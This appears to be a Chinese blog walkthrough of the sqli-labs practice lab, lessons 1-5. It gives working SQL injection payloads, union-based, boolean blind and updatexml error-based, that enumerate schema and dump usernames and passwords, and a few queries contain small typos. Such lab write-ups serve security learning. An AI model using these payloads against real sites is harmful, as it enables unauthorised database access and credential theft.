sql-labs less-1-5wp

目录标题

less-1

判断列数

使用注释符可以将报错信息注释掉

2,3列回显,第一列不回显所以我们不使用它,但是要存在,因为需要和union保持前后列数一致

查找数据库和版本信息

数据库:security

php 复制代码
?id=-1' union select 1,version(),database() --+

查找数据库中的表

表:emails,referers,uagents,users

php 复制代码
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆破users表的列

列:id,username,password

php 复制代码
?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

爆破xx表xx列的数据

php 复制代码
-1' union select 1,group_concat(username),group_concat(pasword) from users#

Less-2

判断类型

因为**?id=2-1的值和1**相同,是数字型

php 复制代码
$sql="select * from tables where id=1 ";

判断注释符和回显点

2,3列回显

爆破

数据库和版本信息

爆破security数据库的表

php 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

爆破users表的列名

php 复制代码
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

爆破表中数据

php 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users

Less-3

判断类型

输入2-1还是2的结果,字符型注入

判断注释符和回显点

可以看到报错信息

需要使用引号和)报错,注释符%23

利用方式闭合,一共有3列,回显点2,3列

爆破

爆破版本号和数据库

php 复制代码
?id=-1') union select 1,version(),database() %23

爆数据库下的表

拿到几个数据表

php 复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" %23

爆表下的列

拿到3个数据列

php 复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" %23

爆xx列的数据

拿到数据

php 复制代码
?id=-1') union select 1,group_concat(username),group_concat(password) from users %23

Less-4

观察报错信息

php 复制代码
 '"1"")  #闭合方式为后面两个字符,即我们传入的双引号之后  ")

与less-3相比,闭合方式发生了变化

Less-5(盲注)

判断类型和注释符

无论输入什么,都是回显这个,除非是报错信息

看看注入类型,字符型

报错回显如下,双引号不报错,单引号报错

php 复制代码
$sql="select * from xxx where $id="" ";

因为网页只回显次信息和报错信息,故初步判断,后端会接收前端的结果然后判断是true还是flase,然后处理回显,故是bool注入

可以利用**--+**注释

判断列数和回显点

利用order by 判断为4报错

可以看到有3列

使用union判断回显点,但是只返回次字符串

盲注攻击

攻击流程如下

php 复制代码
#判断数据库名长度
?id=1' and length(database())>=1 --+
?id=1' and length(database())>=10 --+
?id=1' and length(database())>=5 --+
?id=1' and length(database())>=7 --+
?id=1' and length(database())>=9 --+   #报错,说明长度为8

#数据库名称爆破    security
?id=1' and substr(database(),1,1)='d' --+  #匹配子字符串,从第一位开始提取1位
?id=1' and substr(database(),2,1)='sa' --+  #从第2位开始提取1位
....剩下的burp爆破即可

#爆破数据表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+  #limit限制字符长度,后续一个个爆破即可
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+     #查看users表下的列名
?id=1' and substr((select username from security.users limit 0,1),1,1)='c'--+   #查询列下的数据

成功回显,说明输入是正确的

无回显,说明数据库长度为8,即小于9

为8

判断数据库名称

无回显,说明第一个字符不位d

抓包添加变量,准备爆破

成功爆破出第一个字符s

剩下的字符一个个爆破即可

报错注入

php 复制代码
# ?id=1' and 跟语句
updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是'~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),查看se库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1),查看users表下面的第一个字段
updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1),查看users字段下面的password字段

如下,查到数据库

查询表名,可以看到每次只能返回一个结果,需要调节查询字段,(第0位开始,查询两字符)

查询其他表名

查询users表下的字段

查询字段下的数据

相关推荐
技术卷7 分钟前
详解力扣高频 SQL 50 题之584. 寻找用户推荐人【入门】
sql·leetcode·oracle
武子康1 小时前
Java-82 深入浅出 MySQL 内部架构:服务层、存储引擎与文件系统全覆盖
java·开发语言·数据库·学习·mysql·spring·微服务
vdoi4 小时前
【Mysql】 Mysql zip解压版 Win11 安装备忘
数据库·mysql
TDengine (老段)4 小时前
TDengine 转化类函数 TO_CHAR 用户手册
大数据·数据库·物联网·时序数据库·tdengine·涛思数据
程序员编程指南4 小时前
Qt 与 SQLite 嵌入式数据库开发
c语言·数据库·c++·qt
fht15 小时前
SQLite
数据库·sqlite
float_六七5 小时前
MySQL索引背后的B+树奥秘
数据库·b树·mysql
~央千澈~6 小时前
MongoDB数据库详解-针对大型分布式项目采用的原因以及基础原理和发展-卓伊凡|贝贝|莉莉
数据库·mongodb
Java初学者小白6 小时前
秋招Day18 - MyBatis - 基础
java·数据库·mybatis
ALLSectorSorft7 小时前
教务管理系统学排课教务系统模块设计
数据库·sql·oracle